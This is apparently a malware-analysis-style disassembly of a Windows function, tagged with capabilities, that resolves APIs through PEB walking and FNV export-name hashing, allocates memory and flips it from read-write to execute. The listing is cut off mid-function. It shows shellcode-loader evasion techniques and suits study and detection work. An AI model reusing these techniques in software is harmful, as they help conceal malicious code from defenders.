Function at 0x1400208f0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0xd68
mov rax, qword [0x14007d010]
xor rax, rsp
mov qword [rsp + 0xd60], rax
mov qword [rsp + 0xb78], 0
mov qword [rsp + 0xb70], 0x4b000
mov edx, dword [0x14008000c]
lea rcx, [rsp + 0xb68]
mov qword [rsp + 0x178], rcx
call fcn.1400033e0
mov rcx, qword [rsp + 0x178]
mov rax, rsp
lea rdx, [rsp + 0xb70]
mov qword [rax + 0x20], rdx
mov dword [rax + 0x30], 4
mov dword [rax + 0x28], 0x3000
mov rdx, 0xffffffffffffffff
lea r8, [rsp + 0xb78]
xor r9d, r9d
call fcn.140003b70
lea rax, [0x140030498]
mov qword [rsp + 0x190], rax
lea rax, str._4s___Memory_allocated_n
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb98]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x238], rax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x238]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x240], rcx
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x240]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xba0], rcx
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0xba0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xba4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x228], rax
mov rcx, qword [rsp + 0x228]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140020c49
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0x19c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x19c], ecx
cmp eax, 0
je 0x140020c44
movabs rax, 0x40a1016bf99d979f
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x214], eax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x208], rax
mov r8, qword [rsp + 0x208]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x214]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x1fc], ecx
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x1fc]
mov dword [rsp + 0x1ec], eax
mov rax, qword [rsp + 0x1f0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x1f0], rcx
mov al, byte [rax]
mov byte [rsp + 0x1eb], al
cmp byte [rsp + 0x1eb], 0
je 0x140020c0c
mov cl, byte [rsp + 0x1eb]
mov eax, dword [rsp + 0x1ec]
mov byte [rsp + 0x207], cl
mov dword [rsp + 0x200], eax
mov eax, dword [rsp + 0x200]
mov dword [rsp + 0x174], eax
movsx eax, byte [rsp + 0x207]
cmp eax, 0x41
jl 0x140020bd8
movsx eax, byte [rsp + 0x207]
cmp eax, 0x5a
jg 0x140020bd8
movsx eax, byte [rsp + 0x207]
or eax, 0x20
mov dword [rsp + 0x170], eax
jmp 0x140020be7
movsx eax, byte [rsp + 0x207]
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x174]
mov ecx, dword [rsp + 0x170]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x1ec], eax
jmp 0x140020b47
mov eax, dword [rsp + 0x1ec]
movabs rcx, 0x40a1016bf99d979f
mov qword [rsp + 0x1e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x1e0]
cmp eax, ecx
je 0x140020c7f
jmp 0x140020aa8
jmp 0x140020c49
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rax]
mov qword [rsp + 0x1b8], rcx
mov rcx, qword [rsp + 0x1b8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400209d2
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x1dc], eax
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x1c8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x1c0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x1c0]
mov r8d, dword [rsp + 0x1dc]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x168], rax
mov rcx, qword [rsp + 0x190]
call fcn.14002f000
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x188]
call fcn.14002f000
mov rdx, qword [rsp + 0x160]
mov rcx, rax
mov rax, qword [rsp + 0x168]
call rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x260], rax
lea rax, [0x140030498]
mov qword [rsp + 0x258], rax
lea rax, str._8s____Size:__t_t_zu_bytes_n
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x248], rax
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xbc0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x308]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x308]
mov qword [rsp + 0x310], rcx
mov rcx, qword [rsp + 0x310]
mov rdx, qword [rsp + 0x310]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xbc8], rcx
mov rcx, qword [rsp + 0x308]
mov edx, dword [rsp + 0xbc8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xbcc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x2f8], rax
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140021025
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x26c], eax
mov eax, dword [rsp + 0x26c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x26c], ecx
cmp eax, 0
je 0x140021020
movabs rax, 0x7f7504d1b57471b9
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x26c]
mov dword [rsp + 0x2e4], eax
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x2d8], rax
mov r8, qword [rsp + 0x2d8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x2e4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x2cc], ecx
mov qword [rsp + 0x2c0], rax
mov eax, dword [rsp + 0x2cc]
mov dword [rsp + 0x2bc], eax
mov rax, qword [rsp + 0x2c0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x2c0], rcx
mov al, byte [rax]
mov byte [rsp + 0x2bb], al
cmp byte [rsp + 0x2bb], 0
je 0x140020fe8
mov cl, byte [rsp + 0x2bb]
mov eax, dword [rsp + 0x2bc]
mov byte [rsp + 0x2d7], cl
mov dword [rsp + 0x2d0], eax
mov eax, dword [rsp + 0x2d0]
mov dword [rsp + 0x15c], eax
movsx eax, byte [rsp + 0x2d7]
cmp eax, 0x41
jl 0x140020fb4
movsx eax, byte [rsp + 0x2d7]
cmp eax, 0x5a
jg 0x140020fb4
movsx eax, byte [rsp + 0x2d7]
or eax, 0x20
mov dword [rsp + 0x158], eax
jmp 0x140020fc3
movsx eax, byte [rsp + 0x2d7]
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x15c]
mov ecx, dword [rsp + 0x158]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x2bc], eax
jmp 0x140020f23
mov eax, dword [rsp + 0x2bc]
movabs rcx, 0x7f7504d1b57471b9
mov qword [rsp + 0x2b0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x2b0]
cmp eax, ecx
je 0x14002105b
jmp 0x140020e84
jmp 0x140021025
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov rcx, qword [rax]
mov qword [rsp + 0x288], rcx
mov rcx, qword [rsp + 0x288]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140020dae
mov eax, dword [rsp + 0x26c]
mov dword [rsp + 0x2ac], eax
lea rax, [rsp + 0xba8]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x298], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x290], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x290]
mov r8d, dword [rsp + 0x2ac]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x260]
call fcn.14002f000
mov rax, qword [rax]
mov qword [rsp + 0x148], rax
mov rcx, qword [rsp + 0x258]
call fcn.14002f000
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x250]
call fcn.14002f000
mov rdx, qword [rsp + 0x140]
mov r8, qword [rsp + 0x148]
mov rcx, rax
mov rax, qword [rsp + 0x150]
call rax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x330], rax
lea rax, [0x140030498]
mov qword [rsp + 0x328], rax
lea rax, str._8s____Address:__t_t0x_p_n
mov qword [rsp + 0x320], rax
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x318], rax
lea rax, [rsp + 0xbe8]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xbe8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x3d8], rax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x3d8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x3e0], rcx
mov rcx, qword [rsp + 0x3e0]
mov rdx, qword [rsp + 0x3e0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xbf0], rcx
mov rcx, qword [rsp + 0x3d8]
mov edx, dword [rsp + 0xbf0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xbf4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x3c8], rax
mov rcx, qword [rsp + 0x3c8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140021421
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x33c], eax
mov eax, dword [rsp + 0x33c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x33c], ecx
cmp eax, 0
je 0x14002141c
movabs rax, 0xadddbd912a11fe79
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x33c]
mov dword [rsp + 0x3b4], eax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x3a8], rax
mov r8, qword [rsp + 0x3a8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x3b4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x39c], ecx
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x39c]
mov dword [rsp + 0x38c], eax
mov rax, qword [rsp + 0x390]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x390], rcx
mov al, byte [rax]
mov byte [rsp + 0x38b], al
cmp byte [rsp + 0x38b], 0
je 0x1400213e4
mov cl, byte [rsp + 0x38b]
mov eax, dword [rsp + 0x38c]
mov byte [rsp + 0x3a7], cl
mov dword [rsp + 0x3a0], eax
mov eax, dword [rsp + 0x3a0]
mov dword [rsp + 0x13c], eax
movsx eax, byte [rsp + 0x3a7]
cmp eax, 0x41
jl 0x1400213b0
movsx eax, byte [rsp + 0x3a7]
cmp eax, 0x5a
jg 0x1400213b0
movsx eax, byte [rsp + 0x3a7]
or eax, 0x20
mov dword [rsp + 0x138], eax
jmp 0x1400213bf
movsx eax, byte [rsp + 0x3a7]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x13c]
mov ecx, dword [rsp + 0x138]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x38c], eax
jmp 0x14002131f
mov eax, dword [rsp + 0x38c]
movabs rcx, 0xadddbd912a11fe79
mov qword [rsp + 0x380], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x380]
cmp eax, ecx
je 0x140021457
jmp 0x140021280
jmp 0x140021421
lea rax, [rsp + 0xbe8]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x350]
mov rcx, qword [rax]
mov qword [rsp + 0x358], rcx
mov rcx, qword [rsp + 0x358]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400211aa
mov eax, dword [rsp + 0x33c]
mov dword [rsp + 0x37c], eax
lea rax, [rsp + 0xbd0]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x368], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x360], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x368]
mov rdx, qword [rsp + 0x360]
mov r8d, dword [rsp + 0x37c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x130], rax
mov rcx, qword [rsp + 0x330]
call fcn.14002f000
mov rax, qword [rax]
mov qword [rsp + 0x128], rax
mov rcx, qword [rsp + 0x328]
call fcn.14002f000
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x320]
call fcn.14002f000
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
mov rcx, rax
mov rax, qword [rsp + 0x130]
call rax
lea rax, [0x140030498]
mov qword [rsp + 0x3f8], rax
lea rax, str._8s____Protection:__tPAGE_READWRITE_n
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x3e8], rax
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x410]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xc10]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4a0], rax
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov rcx, qword [rsp + 0x4a0]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4a0]
mov qword [rsp + 0x4a8], rcx
mov rcx, qword [rsp + 0x4a8]
mov rdx, qword [rsp + 0x4a8]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xc18], rcx
mov rcx, qword [rsp + 0x4a0]
mov edx, dword [rsp + 0xc18]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xc1c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x490], rax
mov rcx, qword [rsp + 0x490]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002180d
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x488]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x404], eax
mov eax, dword [rsp + 0x404]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x404], ecx
cmp eax, 0
je 0x140021808
movabs rax, 0xe8b1baab91efd8df
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x480]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x404]
mov dword [rsp + 0x47c], eax
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x470], rax
mov r8, qword [rsp + 0x470]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x47c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x464], ecx
mov qword [rsp + 0x458], rax
mov eax, dword [rsp + 0x464]
mov dword [rsp + 0x454], eax
mov rax, qword [rsp + 0x458]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x458], rcx
mov al, byte [rax]
mov byte [rsp + 0x453], al
cmp byte [rsp + 0x453], 0
je 0x1400217d0
mov cl, byte [rsp + 0x453]
mov eax, dword [rsp + 0x454]
mov byte [rsp + 0x46f], cl
mov dword [rsp + 0x468], eax
mov eax, dword [rsp + 0x468]
mov dword [rsp + 0x11c], eax
movsx eax, byte [rsp + 0x46f]
cmp eax, 0x41
jl 0x14002179c
movsx eax, byte [rsp + 0x46f]
cmp eax, 0x5a
jg 0x14002179c
movsx eax, byte [rsp + 0x46f]
or eax, 0x20
mov dword [rsp + 0x118], eax
jmp 0x1400217ab
movsx eax, byte [rsp + 0x46f]
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0x11c]
mov ecx, dword [rsp + 0x118]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x454], eax
jmp 0x14002170b
mov eax, dword [rsp + 0x454]
movabs rcx, 0xe8b1baab91efd8df
mov qword [rsp + 0x448], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x448]
cmp eax, ecx
je 0x140021843
jmp 0x14002166c
jmp 0x14002180d
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
mov rcx, qword [rax]
mov qword [rsp + 0x420], rcx
mov rcx, qword [rsp + 0x420]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x140021596
mov eax, dword [rsp + 0x404]
mov dword [rsp + 0x444], eax
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x438]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x430], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x428], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x428]
mov r8d, dword [rsp + 0x444]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x100], rax
mov rcx, qword [rsp + 0x3f8]
call fcn.14002f000
mov qword [rsp + 0xf8], rax
mov rcx, qword [rsp + 0x3f0]
call fcn.14002f000
mov rdx, qword [rsp + 0xf8]
mov rcx, rax
mov rax, qword [rsp + 0x100]
call rax
mov rdx, qword [rsp + 0xb78]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x110], rcx
call fcn.140002710
mov edx, dword [0x140080018]
lea rcx, [rsp + 0xb40]
mov qword [rsp + 0x108], rcx
call fcn.1400033e0
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
mov rax, rsp
lea r8, [rsp + 0xb44]
mov qword [rax + 0x28], r8
mov dword [rax + 0x20], 0x20
lea r8, [rsp + 0xb78]
lea r9, [rsp + 0xb70]
call fcn.1400089b0
lea rax, [0x140030498]
mov qword [rsp + 0x4c0], rax
lea rax, str._4s___Memory_protection_changed_n
mov qword [rsp + 0x4b8], rax
lea rax, [rsp + 0xb38]
mov qword [rsp + 0x4b0], rax
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xc38]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x568], rax
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x560]
mov rcx, qword [rsp + 0x568]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x568]
mov qword [rsp + 0x570], rcx
mov rcx, qword [rsp + 0x570]
mov rdx, qword [rsp + 0x570]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xc40], rcx
mov rcx, qword [rsp + 0x568]
mov edx, dword [rsp + 0xc40]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xc44]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x558], rax
mov rcx, qword [rsp + 0x558]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140021c4b
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x550]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x4cc], eax
mov eax, dword [rsp + 0x4cc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x4cc], ecx
cmp eax, 0
je 0x140021c46
movabs rax, 0xe0d6da08c681ec92
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x4cc]
mov dword [rsp + 0x544], eax
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x538], rax
mov r8, qword [rsp + 0x538]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x544]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x52c], ecx
mov qword [rsp + 0x520], rax
mov eax, dword [rsp + 0x52c]
mov dword [rsp + 0x51c], eax
mov rax, qword [rsp + 0x520]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x520], rcx
mov al, byte [rax]
mov byte [rsp + 0x51b], al
cmp byte [rsp + 0x51b], 0
je 0x140021c0e
mov cl, byte [rsp + 0x51b]
mov eax, dword [rsp + 0x51c]
mov byte [rsp + 0x537], cl
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0x530]
mov dword [rsp + 0xf4], eax
movsx eax, byte [rsp + 0x537]
cmp eax, 0x41
jl 0x140021bda
movsx eax, byte [rsp + 0x537]
cmp eax, 0x5a
jg 0x140021bda
movsx eax, byte [rsp + 0x537]
or eax, 0x20
mov dword [rsp + 0xf0], eax
jmp 0x140021be9
movsx eax, byte [rsp + 0x537]
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0xf4]
mov ecx, dword [rsp + 0xf0]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x51c], eax
jmp 0x140021b49
mov eax, dword [rsp + 0x51c]
movabs rcx, 0xe0d6da08c681ec92
mov qword [rsp + 0x510], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x510]
cmp eax, ecx
je 0x140021c81
jmp 0x140021aaa
jmp 0x140021c4b
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov rcx, qword [rax]
mov qword [rsp + 0x4e8], rcx
mov rcx, qword [rsp + 0x4e8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x1400219d4
mov eax, dword [rsp + 0x4cc]
mov dword [rsp + 0x50c], eax
lea rax, [rsp + 0xc20]
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x4f8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x4f0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f8]
mov rdx, qword [rsp + 0x4f0]
mov r8d, dword [rsp + 0x50c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0x4c0]
call fcn.14002f000
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0x4b8]
call fcn.14002f000
mov rdx, qword [rsp + 0xe0]
mov rcx, rax
mov rax, qword [rsp + 0xe8]
call rax
lea rax, [0x140030498]
mov qword [rsp + 0x588], rax
lea rax, str._8s____Protection:__tPAGE_EXECUTE_READ_n
mov qword [rsp + 0x580], rax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x578], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x5a0], rax
mov rax, qword [rsp + 0x5a0]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xc60]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x630], rax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x630]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x630]
mov qword [rsp + 0x638], rcx
mov rcx, qword [rsp + 0x638]
mov rdx, qword [rsp + 0x638]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xc68], rcx
mov rcx, qword [rsp + 0x630]
mov edx, dword [rsp + 0xc68]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xc6c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x620], rax
mov rcx, qword [rsp + 0x620]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x140022017
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x594], eax
mov eax, dword [rsp + 0x594]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x594], ecx
cmp eax, 0
je 0x140022012
movabs rax, 0xf1b4397448a7da16
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x610]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x594]
mov dword [rsp + 0x60c], eax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x600], rax
mov r8, qword [rsp + 0x600]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x60c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x5f4], ecx
mov qword [rsp + 0x5e8], rax
mov eax, dword [rsp + 0x5f4]
mov dword [rsp + 0x5e4], eax
mov rax, qword [rsp + 0x5e8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x5e8], rcx
mov al, byte [rax]
mov byte [rsp + 0x5e3], al
